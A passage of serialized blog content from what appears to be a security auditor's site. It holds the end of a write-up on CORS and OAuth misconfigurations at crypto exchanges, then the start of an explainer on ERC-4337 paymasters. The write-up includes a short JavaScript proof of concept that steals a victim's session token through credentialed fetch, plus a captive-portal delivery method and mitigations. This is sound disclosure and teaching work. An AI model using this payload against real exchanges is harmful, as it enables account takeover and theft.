",{"type":22,"tag":30,"props":105313,"children":105315},{"className":105314},[],[105316],{"type":27,"value":41761},{"type":27,"value":105318}," with CORS to do something malicious using the victim's account",{"type":22,"tag":23,"props":105320,"children":105321},{},[105322],{"type":27,"value":105323},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":22,"tag":23,"props":105325,"children":105326},{},[105327,105329,105334],{"type":27,"value":105328},"Once the redirect to the ",{"type":22,"tag":30,"props":105330,"children":105332},{"className":105331},[],[105333],{"type":27,"value":105184},{"type":27,"value":105335}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":22,"tag":91,"props":105337,"children":105339},{"className":35359,"code":105338,"language":35361,"meta":7,"style":7},"(async () => {\n let res = await fetch('https://www.exchange.com/api/session_token', {\n credentials: 'include',\n method: 'POST',\n });\n console.log(await res.json());\n})();\n",[105340],{"type":22,"tag":30,"props":105341,"children":105342},{"__ignoreMap":7},[105343,105366,105403,105420,105437,105444,105485],{"type":22,"tag":101,"props":105344,"children":105345},{"class":103,"line":104},[105346,105350,105354,105358,105362],{"type":22,"tag":101,"props":105347,"children":105348},{"style":120},[105349],{"type":27,"value":980},{"type":22,"tag":101,"props":105351,"children":105352},{"style":108},[105353],{"type":27,"value":40142},{"type":22,"tag":101,"props":105355,"children":105356},{"style":120},[105357],{"type":27,"value":43691},{"type":22,"tag":101,"props":105359,"children":105360},{"style":108},[105361],{"type":27,"value":18823},{"type":22,"tag":101,"props":105363,"children":105364},{"style":120},[105365],{"type":27,"value":154},{"type":22,"tag":101,"props":105367,"children":105368},{"class":103,"line":157},[105369,105373,105378,105382,105386,105390,105394,105399],{"type":22,"tag":101,"props":105370,"children":105371},{"style":108},[105372],{"type":27,"value":11865},{"type":22,"tag":101,"props":105374,"children":105375},{"style":126},[105376],{"type":27,"value":105377}," res",{"type":22,"tag":101,"props":105379,"children":105380},{"style":166},[105381],{"type":27,"value":960},{"type":22,"tag":101,"props":105383,"children":105384},{"style":3595},[105385],{"type":27,"value":40207},{"type":22,"tag":101,"props":105387,"children":105388},{"style":926},[105389],{"type":27,"value":36925},{"type":22,"tag":101,"props":105391,"children":105392},{"style":120},[105393],{"type":27,"value":980},{"type":22,"tag":101,"props":105395,"children":105396},{"style":6476},[105397],{"type":27,"value":105398},"'https://www.exchange.com/api/session_token'",{"type":22,"tag":101,"props":105400,"children":105401},{"style":120},[105402],{"type":27,"value":52878},{"type":22,"tag":101,"props":105404,"children":105405},{"class":103,"line":182},[105406,105411,105416],{"type":22,"tag":101,"props":105407,"children":105408},{"style":126},[105409],{"type":27,"value":105410}," credentials:",{"type":22,"tag":101,"props":105412,"children":105413},{"style":6476},[105414],{"type":27,"value":105415}," 'include'",{"type":22,"tag":101,"props":105417,"children":105418},{"style":120},[105419],{"type":27,"value":179},{"type":22,"tag":101,"props":105421,"children":105422},{"class":103,"line":367},[105423,105428,105433],{"type":22,"tag":101,"props":105424,"children":105425},{"style":126},[105426],{"type":27,"value":105427}," method:",{"type":22,"tag":101,"props":105429,"children":105430},{"style":6476},[105431],{"type":27,"value":105432}," 'POST'",{"type":22,"tag":101,"props":105434,"children":105435},{"style":120},[105436],{"type":27,"value":179},{"type":22,"tag":101,"props":105438,"children":105439},{"class":103,"line":398},[105440],{"type":22,"tag":101,"props":105441,"children":105442},{"style":120},[105443],{"type":27,"value":101701},{"type":22,"tag":101,"props":105445,"children":105446},{"class":103,"line":428},[105447,105452,105456,105461,105465,105469,105473,105477,105481],{"type":22,"tag":101,"props":105448,"children":105449},{"style":126},[105450],{"type":27,"value":105451}," console",{"type":22,"tag":101,"props":105453,"children":105454},{"style":120},[105455],{"type":27,"value":231},{"type":22,"tag":101,"props":105457,"children":105458},{"style":926},[105459],{"type":27,"value":105460},"log",{"type":22,"tag":101,"props":105462,"children":105463},{"style":120},[105464],{"type":27,"value":980},{"type":22,"tag":101,"props":105466,"children":105467},{"style":3595},[105468],{"type":27,"value":36912},{"type":22,"tag":101,"props":105470,"children":105471},{"style":126},[105472],{"type":27,"value":105377},{"type":22,"tag":101,"props":105474,"children":105475},{"style":120},[105476],{"type":27,"value":231},{"type":22,"tag":101,"props":105478,"children":105479},{"style":926},[105480],{"type":27,"value":37993},{"type":22,"tag":101,"props":105482,"children":105483},{"style":120},[105484],{"type":27,"value":1980},{"type":22,"tag":101,"props":105486,"children":105487},{"class":103,"line":997},[105488],{"type":22,"tag":101,"props":105489,"children":105490},{"style":120},[105491],{"type":27,"value":105492},"})();\n",{"type":22,"tag":23,"props":105494,"children":105495},{},[105496],{"type":27,"value":105497},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":22,"tag":1760,"props":105499,"children":105500},{"id":44328},[105501],{"type":27,"value":44331},{"type":22,"tag":23,"props":105503,"children":105504},{},[105505,105507,105512],{"type":27,"value":105506},"As mitigation, it is recommended to remove all ",{"type":22,"tag":30,"props":105508,"children":105510},{"className":105509},[],[105511],{"type":27,"value":105184},{"type":27,"value":105513}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":22,"tag":23,"props":105515,"children":105516},{},[105517],{"type":27,"value":105518},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":22,"tag":53,"props":105520,"children":105521},{"id":6776},[105522],{"type":27,"value":6779},{"type":22,"tag":23,"props":105524,"children":105525},{},[105526],{"type":27,"value":105527},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":22,"tag":23,"props":105529,"children":105530},{},[105531],{"type":27,"value":105532},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":22,"tag":6891,"props":105534,"children":105535},{},[105536],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":105538},[105539,105544,105549],{"id":103223,"depth":157,"text":103226,"children":105540},[105541,105542,105543],{"id":103234,"depth":182,"text":103237},{"id":103591,"depth":182,"text":103594},{"id":105154,"depth":182,"text":105157},{"id":105165,"depth":157,"text":105168,"children":105545},[105546,105547,105548],{"id":105229,"depth":182,"text":105232},{"id":105286,"depth":182,"text":103618},{"id":44328,"depth":182,"text":44331},{"id":6776,"depth":157,"text":6779},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":105554,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":105555,"description":105556,"date":105557,"author":105558,"image":105559,"isFeatured":15,"onBlogPage":15,"tags":105561,"body":105564,"_type":6912,"_id":111336,"_source":6914,"_file":111337,"_stem":111338,"_extension":6917},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":105560,"width":100775,"height":17626},"/posts/paymasters-evm/title.png",[105562,105563],"evm","ERC-4337",{"type":19,"children":105565,"toc":111315},[105566,105570,105581,105586,105591,105596,105602,105608,105613,105618,105624,105629,105657,105663,105668,105675,105680,105690,105695,105721,105727,105747,105753,105773,105781,105812,105845,105854,105866,105891,105903,105916,105959,105965,105998,106097,106116,106139,106144,106150,106178,106325,106330,106357,106363,106375,106387,106396,106431,106436,107921,107949,107970,107975,107987,107996,108001,108019,108042,108047,108053,108107,108113,108146,108181,109005,109041,109077,109143,109176,109674,109727,109739,110303,110372,110399,111021,111063,111090,111102,111163,111182,111216,111221,111226,111231,111235,111240,111275,111301,111306,111311],{"type":22,"tag":39369,"props":105567,"children":105568},{"id":33014},[105569],{"type":27,"value":33017},{"type":22,"tag":23,"props":105571,"children":105572},{},[105573,105579],{"type":22,"tag":80,"props":105574,"children":105577},{"href":105575,"rel":105576},"https://docs.erc4337.io/",[84],[105578],{"type":27,"value":105563},{"type":27,"value":105580}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":22,"tag":23,"props":105582,"children":105583},{},[105584],{"type":27,"value":105585},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":22,"tag":23,"props":105587,"children":105588},{},[105589],{"type":27,"value":105590},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":22,"tag":23,"props":105592,"children":105593},{},[105594],{"type":27,"value":105595},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":22,"tag":39369,"props":105597,"children":105599},{"id":105598},"erc4337-overview",[105600],{"type":27,"value":105601},"ERC4337 Overview",{"type":22,"tag":53,"props":105603,"children":105605},{"id":105604},"traditional-eoas-vs-smart-contract-wallets",[105606],{"type":27,"value":105607},"Traditional EOAs vs Smart Contract Wallets",{"type":22,"tag":23,"props":105609,"children":105610},{},[105611],{"type":27,"value":105612},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":22,"tag":23,"props":105614,"children":105615},{},[105616],{"type":27,"value":105617},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":22,"tag":53,"props":105619,"children":105621},{"id":105620},"why-erc4337-was-introduced",[105622],{"type":27,"value":105623},"Why ERC‑4337 Was Introduced",{"type":22,"tag":23,"props":105625,"children":105626},{},[105627],{"type":27,"value":105628},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":22,"tag":6839,"props":105630,"children":105631},{},[105632,105637,105642,105647,105652],{"type":22,"tag":6832,"props":105633,"children":105634},{},[105635],{"type":27,"value":105636},"User recovery for lost keys (e.g. social recovery)",{"type":22,"tag":6832,"props":105638,"children":105639},{},[105640],{"type":27,"value":105641},"Batched or atomic multi-step operations in one flow",{"type":22,"tag":6832,"props":105643,"children":105644},{},[105645],{"type":27,"value":105646},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":22,"tag":6832,"props":105648,"children":105649},{},[105650],{"type":27,"value":105651},"Using custom signature schemes or multisig logic",{"type":22,"tag":6832,"props":105653,"children":105654},{},[105655],{"type":27,"value":105656},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":22,"tag":53,"props":105658,"children":105660},{"id":105659},"how-erc-4337-works",[105661],{"type":27,"value":105662},"How ERC-4337 Works",{"type":22,"tag":23,"props":105664,"children":105665},{},[105666],{"type":27,"value":105667},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":22,"tag":23,"props":105669,"children":105670},{},[105671],{"type":22,"tag":7959,"props":105672,"children":105674},{"alt":54574,"src":105673},"/posts/paymasters-evm/flowchart.png",[],{"type":22,"tag":23,"props":105676,"children":105677},{},[105678],{"type":27,"value":105679},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":22,"tag":1760,"props":105681,"children":105683},{"id":105682},"useroperation",[105684],{"type":22,"tag":30,"props":105685,"children":105687},{"className":105686},[],[105688],{"type":27,"value":105689},"UserOperation",{"type":22,"tag":23,"props":105691,"children":105692},{},[105693],{"type":27,"value":105694},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":22,"tag":6839,"props":105696,"children":105697},{},[105698,105703,105708],{"type":22,"tag":6832,"props":105699,"children":105700},{},[105701],{"type":27,"value":105702},"Target contract call(s)",{"type":22,"tag":6832,"props":105704,"children":105705},{},[105706],{"type":27,"value":105707},"Signature or validation metadata",{"type":22,"tag":6832,"props":105709,"children":105710},{},[105711,105713,105719],{"type":27,"value":105712},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":22,"tag":30,"props":105714,"children":105716},{"className":105715},[],[105717],{"type":27,"value":105718},"UserOperations",{"type":27,"value":105720}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":22,"tag":1760,"props":105722,"children":105724},{"id":105723},"smart-contract-account",[105725],{"type":27,"value":105726},"Smart Contract Account",{"type":22,"tag":23,"props":105728,"children":105729},{},[105730,105732,105738,105739,105745],{"type":27,"value":105731},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":22,"tag":30,"props":105733,"children":105735},{"className":105734},[],[105736],{"type":27,"value":105737},"validateUserOp()",{"type":27,"value":209},{"type":22,"tag":30,"props":105740,"children":105742},{"className":105741},[],[105743],{"type":27,"value":105744},"executeUserOp()",{"type":27,"value":105746},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":22,"tag":1760,"props":105748,"children":105750},{"id":105749},"bundler",[105751],{"type":27,"value":105752},"Bundler",{"type":22,"tag":23,"props":105754,"children":105755},{},[105756,105758,105763,105765,105771],{"type":27,"value":105757},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":22,"tag":30,"props":105759,"children":105761},{"className":105760},[],[105762],{"type":27,"value":105718},{"type":27,"value":105764},", packages them, and submits them in a single transaction to the ",{"type":22,"tag":30,"props":105766,"children":105768},{"className":105767},[],[105769],{"type":27,"value":105770},"EntryPoint",{"type":27,"value":105772}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":22,"tag":1760,"props":105774,"children":105775},{"id":18725},[105776],{"type":22,"tag":30,"props":105777,"children":105779},{"className":105778},[],[105780],{"type":27,"value":105770},{"type":22,"tag":23,"props":105782,"children":105783},{},[105784,105785,105790,105792,105797,105799,105803,105805,105810],{"type":27,"value":2007},{"type":22,"tag":30,"props":105786,"children":105788},{"className":105787},[],[105789],{"type":27,"value":105770},{"type":27,"value":105791}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":22,"tag":30,"props":105793,"children":105795},{"className":105794},[],[105796],{"type":27,"value":105718},{"type":27,"value":105798}," submitted by a ",{"type":22,"tag":9370,"props":105800,"children":105801},{},[105802],{"type":27,"value":105752},{"type":27,"value":105804},", the ",{"type":22,"tag":30,"props":105806,"children":105808},{"className":105807},[],[105809],{"type":27,"value":105770},{"type":27,"value":105811}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":22,"tag":23,"props":105813,"children":105814},{},[105815,105817,105822,105824,105828,105830,105835,105837,105843],{"type":27,"value":105816},"Once all operations have been processed, the ",{"type":22,"tag":30,"props":105818,"children":105820},{"className":105819},[],[105821],{"type":27,"value":105770},{"type":27,"value":105823}," calculates the total gas consumed and reimburses the ",{"type":22,"tag":9370,"props":105825,"children":105826},{},[105827],{"type":27,"value":105752},{"type":27,"value":105829},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":22,"tag":30,"props":105831,"children":105833},{"className":105832},[],[105834],{"type":27,"value":105770},{"type":27,"value":105836}," or from a ",{"type":22,"tag":30,"props":105838,"children":105840},{"className":105839},[],[105841],{"type":27,"value":105842},"paymaster",{"type":27,"value":105844}," that has agreed to sponsor the transaction.",{"type":22,"tag":1760,"props":105846,"children":105847},{"id":105842},[105848],{"type":22,"tag":30,"props":105849,"children":105851},{"className":105850},[],[105852],{"type":27,"value":105853},"Paymaster",{"type":22,"tag":23,"props":105855,"children":105856},{},[105857,105859,105864],{"type":27,"value":105858},"A ",{"type":22,"tag":30,"props":105860,"children":105862},{"className":105861},[],[105863],{"type":27,"value":105842},{"type":27,"value":105865}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":22,"tag":6839,"props":105867,"children":105868},{},[105869,105880],{"type":22,"tag":6832,"props":105870,"children":105871},{},[105872,105878],{"type":22,"tag":30,"props":105873,"children":105875},{"className":105874},[],[105876],{"type":27,"value":105877},"validatePaymasterUserOp()",{"type":27,"value":105879}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":22,"tag":6832,"props":105881,"children":105882},{},[105883,105889],{"type":22,"tag":30,"props":105884,"children":105886},{"className":105885},[],[105887],{"type":27,"value":105888},"postOp()",{"type":27,"value":105890},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":22,"tag":23,"props":105892,"children":105893},{},[105894,105896,105901],{"type":27,"value":105895},"By supporting both sponsorship and token-based gas payments, ",{"type":22,"tag":30,"props":105897,"children":105899},{"className":105898},[],[105900],{"type":27,"value":105842},{"type":27,"value":105902}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":22,"tag":53,"props":105904,"children":105906},{"id":105905},"understanding-the-entrypoints-flow",[105907,105909,105914],{"type":27,"value":105908},"Understanding the ",{"type":22,"tag":30,"props":105910,"children":105912},{"className":105911},[],[105913],{"type":27,"value":105770},{"type":27,"value":105915},"'s Flow",{"type":22,"tag":23,"props":105917,"children":105918},{},[105919,105921,105926,105927,105932,105934,105945,105947,105952,105953,105958],{"type":27,"value":105920},"When a bundler submits ",{"type":22,"tag":30,"props":105922,"children":105924},{"className":105923},[],[105925],{"type":27,"value":105718},{"type":27,"value":20410},{"type":22,"tag":30,"props":105928,"children":105930},{"className":105929},[],[105931],{"type":27,"value":105770},{"type":27,"value":105933}," contract via ",{"type":22,"tag":80,"props":105935,"children":105938},{"href":105936,"rel":105937},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[84],[105939],{"type":22,"tag":30,"props":105940,"children":105942},{"className":105941},[],[105943],{"type":27,"value":105944},"handleOps()",{"type":27,"value":105946},", the processing occurs in two main phases: ",{"type":22,"tag":9370,"props":105948,"children":105949},{},[105950],{"type":27,"value":105951},"Validation",{"type":27,"value":209},{"type":22,"tag":9370,"props":105954,"children":105955},{},[105956],{"type":27,"value":105957},"Execution",{"type":27,"value":231},{"type":22,"tag":1760,"props":105960,"children":105962},{"id":105961},"validation-phase",[105963],{"type":27,"value":105964},"Validation Phase",{"type":22,"tag":23,"props":105966,"children":105967},{},[105968,105970,105975,105977,105983,105985,105991,105992,105997],{"type":27,"value":105969},"In this phase, the ",{"type":22,"tag":30,"props":105971,"children":105973},{"className":105972},[],[105974],{"type":27,"value":105770},{"type":27,"value":105976}," first validates all operations in the submitted ",{"type":22,"tag":30,"props":105978,"children":105980},{"className":105979},[],[105981],{"type":27,"value":105982},"UserOps",{"type":27,"value":105984}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":22,"tag":30,"props":105986,"children":105988},{"className":105987},[],[105989],{"type":27,"value":105990},"UserOp",{"type":27,"value":105804},{"type":22,"tag":30,"props":105993,"children":105995},{"className":105994},[],[105996],{"type":27,"value":105770},{"type":27,"value":169},{"type":22,"tag":6828,"props":105999,"children":106000},{},[106001,106019,106037,106058,106070],{"type":22,"tag":6832,"props":106002,"children":106003},{},[106004,106011,106013],{"type":22,"tag":80,"props":106005,"children":106008},{"href":106006,"rel":106007},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[84],[106009],{"type":27,"value":106010},"Calculates",{"type":27,"value":106012}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":22,"tag":30,"props":106014,"children":106016},{"className":106015},[],[106017],{"type":27,"value":106018},"maxFeePerGas",{"type":22,"tag":6832,"props":106020,"children":106021},{},[106022,106029,106030,106035],{"type":22,"tag":80,"props":106023,"children":106026},{"href":106024,"rel":106025},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[84],[106027],{"type":27,"value":106028},"Calls",{"type":27,"value":2169},{"type":22,"tag":30,"props":106031,"children":106033},{"className":106032},[],[106034],{"type":27,"value":105737},{"type":27,"value":106036}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":22,"tag":6832,"props":106038,"children":106039},{},[106040,106042,106049,106051,106056],{"type":27,"value":106041},"If no paymaster is specified, attempts to ",{"type":22,"tag":80,"props":106043,"children":106046},{"href":106044,"rel":106045},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[84],[106047],{"type":27,"value":106048},"deduct",{"type":27,"value":106050}," the prefund amount from the sender's ETH deposit in the ",{"type":22,"tag":30,"props":106052,"children":106054},{"className":106053},[],[106055],{"type":27,"value":105770},{"type":27,"value":106057}," (this can be partially refunded later if actual execution costs less)",{"type":22,"tag":6832,"props":106059,"children":106060},{},[106061,106068],{"type":22,"tag":80,"props":106062,"children":106065},{"href":106063,"rel":106064},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[84],[106066],{"type":27,"value":106067},"Validates",{"type":27,"value":106069}," the nonce to prevent replay attacks",{"type":22,"tag":6832,"props":106071,"children":106072},{},[106073,106075,106081,106083,106089,106090,106095],{"type":27,"value":106074},"If a paymaster is specified, it will ",{"type":22,"tag":80,"props":106076,"children":106079},{"href":106077,"rel":106078},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[84],[106080],{"type":27,"value":106048},{"type":27,"value":106082}," the required prefund amount from the paymaster's deposited ETH and then ",{"type":22,"tag":80,"props":106084,"children":106087},{"href":106085,"rel":106086},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L629",[84],[106088],{"type":27,"value":42292},{"type":27,"value":2169},{"type":22,"tag":30,"props":106091,"children":106093},{"className":106092},[],[106094],{"type":27,"value":105877},{"type":27,"value":106096}," on the paymaster contract to verify it will cover gas costs",{"type":22,"tag":23,"props":106098,"children":106099},{},[106100,106102,106107,106109,106114],{"type":27,"value":106101},"Only after all these validation checks pass will the ",{"type":22,"tag":30,"props":106103,"children":106105},{"className":106104},[],[106106],{"type":27,"value":105770},{"type":27,"value":106108}," move on to actually executing the ",{"type":22,"tag":30,"props":106110,"children":106112},{"className":106111},[],[106113],{"type":27,"value":105689},{"type":27,"value":106115},". This strict validation flow ensures that:",{"type":22,"tag":6839,"props":106117,"children":106118},{},[106119,106124,106129,106134],{"type":22,"tag":6832,"props":106120,"children":106121},{},[106122],{"type":27,"value":106123},"The operation is legitimate and authorized by the user",{"type":22,"tag":6832,"props":106125,"children":106126},{},[106127],{"type":27,"value":106128},"Sufficient funds are available to cover gas (either from user or paymaster)",{"type":22,"tag":6832,"props":106130,"children":106131},{},[106132],{"type":27,"value":106133},"The operation cannot be replayed",{"type":22,"tag":6832,"props":106135,"children":106136},{},[106137],{"type":27,"value":106138},"All involved contracts (sender and paymaster) have approved the execution",{"type":22,"tag":23,"props":106140,"children":106141},{},[106142],{"type":27,"value":106143},"This multi-layered validation approach is crucial for maintaining security when processing operations that can involve complex smart account logic and third-party gas sponsorship.",{"type":22,"tag":1760,"props":106145,"children":106147},{"id":106146},"execution-phase",[106148],{"type":27,"value":106149},"Execution Phase",{"type":22,"tag":23,"props":106151,"children":106152},{},[106153,106155,106160,106162,106169,106171,106176],{"type":27,"value":106154},"After all operations have passed validation, the ",{"type":22,"tag":30,"props":106156,"children":106158},{"className":106157},[],[106159],{"type":27,"value":105770},{"type":27,"value":106161}," begins the ",{"type":22,"tag":80,"props":106163,"children":106166},{"href":106164,"rel":106165},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L70-L72",[84],[106167],{"type":27,"value":106168},"execution",{"type":27,"value":106170}," phase, processing each ",{"type":22,"tag":30,"props":106172,"children":106174},{"className":106173},[],[106175],{"type":27,"value":105689},{"type":27,"value":106177}," individually. For each operation, the flow is:",{"type":22,"tag":6828,"props":106179,"children":106180},{},[106181,106241,106287],{"type":22,"tag":6832,"props":106182,"children":106183},{},[106184,106185,106190,106192,106198,106199,106205,106207],{"type":27,"value":2007},{"type":22,"tag":30,"props":106186,"children":106188},{"className":106187},[],[106189],{"type":27,"value":105770},{"type":27,"value":106191}," makes a ",{"type":22,"tag":80,"props":106193,"children":106196},{"href":106194,"rel":106195},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L213-L232",[84],[106197],{"type":27,"value":42292},{"type":27,"value":60773},{"type":22,"tag":30,"props":106200,"children":106202},{"className":106201},[],[106203],{"type":27,"value":106204},"innerHandleOp()",{"type":27,"value":106206},", which:\n",{"type":22,"tag":6839,"props":106208,"children":106209},{},[106210,106222,106227],{"type":22,"tag":6832,"props":106211,"children":106212},{},[106213,106220],{"type":22,"tag":80,"props":106214,"children":106217},{"href":106215,"rel":106216},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L403",[84],[106218],{"type":27,"value":106219},"Forwards",{"type":27,"value":106221}," the operation to the sender's smart account contract",{"type":22,"tag":6832,"props":106223,"children":106224},{},[106225],{"type":27,"value":106226},"Executes the intended transaction(s) within the smart account",{"type":22,"tag":6832,"props":106228,"children":106229},{},[106230,106232,106239],{"type":27,"value":106231},"Handles ",{"type":22,"tag":80,"props":106233,"children":106236},{"href":106234,"rel":106235},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L821",[84],[106237],{"type":27,"value":106238},"post-execution",{"type":27,"value":106240}," tasks and cleanup",{"type":22,"tag":6832,"props":106242,"children":106243},{},[106244,106246,106252,106254,106260,106261,106267,106269],{"type":27,"value":106245},"If a paymaster was used, ",{"type":22,"tag":30,"props":106247,"children":106249},{"className":106248},[],[106250],{"type":27,"value":106251},"Entrypoint",{"type":27,"value":106253}," will ",{"type":22,"tag":80,"props":106255,"children":106258},{"href":106256,"rel":106257},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L848-L857",[84],[106259],{"type":27,"value":42292},{"type":27,"value":2169},{"type":22,"tag":30,"props":106262,"children":106264},{"className":106263},[],[106265],{"type":27,"value":106266},"paymaster.postOp()",{"type":27,"value":106268}," to:\n",{"type":22,"tag":6839,"props":106270,"children":106271},{},[106272,106277,106282],{"type":22,"tag":6832,"props":106273,"children":106274},{},[106275],{"type":27,"value":106276},"Allow paymaster to finalize its accounting",{"type":22,"tag":6832,"props":106278,"children":106279},{},[106280],{"type":27,"value":106281},"Process any refunds or additional charges",{"type":22,"tag":6832,"props":106283,"children":106284},{},[106285],{"type":27,"value":106286},"Complete any paymaster-specific logic",{"type":22,"tag":6832,"props":106288,"children":106289},{},[106290,106292,106297,106298,106305,106307],{"type":27,"value":106291},"Finally, after all operations are processed, the ",{"type":22,"tag":30,"props":106293,"children":106295},{"className":106294},[],[106296],{"type":27,"value":105770},{"type":27,"value":2169},{"type":22,"tag":80,"props":106299,"children":106302},{"href":106300,"rel":106301},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L74",[84],[106303],{"type":27,"value":106304},"compensates",{"type":27,"value":106306}," the bundler for:\n",{"type":22,"tag":6839,"props":106308,"children":106309},{},[106310,106315,106320],{"type":22,"tag":6832,"props":106311,"children":106312},{},[106313],{"type":27,"value":106314},"Gas costs from executing all operations",{"type":22,"tag":6832,"props":106316,"children":106317},{},[106318],{"type":27,"value":106319},"Overhead from submitting the batch transaction",{"type":22,"tag":6832,"props":106321,"children":106322},{},[106323],{"type":27,"value":106324},"Any unused gas, which is refunded",{"type":22,"tag":23,"props":106326,"children":106327},{},[106328],{"type":27,"value":106329},"This execution flow ensures secure and atomic operation execution, accurate tracking and settlement of gas costs, support for custom paymaster payment logic, and proper compensation for bundlers who provide the transaction submission service.",{"type":22,"tag":23,"props":106331,"children":106332},{},[106333,106335,106340,106342,106348,106350,106355],{"type":27,"value":106334},"Now that we understand how the ",{"type":22,"tag":30,"props":106336,"children":106338},{"className":106337},[],[106339],{"type":27,"value":105770},{"type":27,"value":106341}," works at a high level, let's examine how some protocols have failed to properly implement ",{"type":22,"tag":30,"props":106343,"children":106345},{"className":106344},[],[106346],{"type":27,"value":106347},"paymasters",{"type":27,"value":106349}," that align with the ",{"type":22,"tag":30,"props":106351,"children":106353},{"className":106352},[],[106354],{"type":27,"value":105770},{"type":27,"value":106356},"'s execution model, leading to potential vulnerabilities.",{"type":22,"tag":39369,"props":106358,"children":106360},{"id":106359},"common-pitfalls-in-paymaster-implementation",[106361],{"type":27,"value":106362},"Common Pitfalls in Paymaster 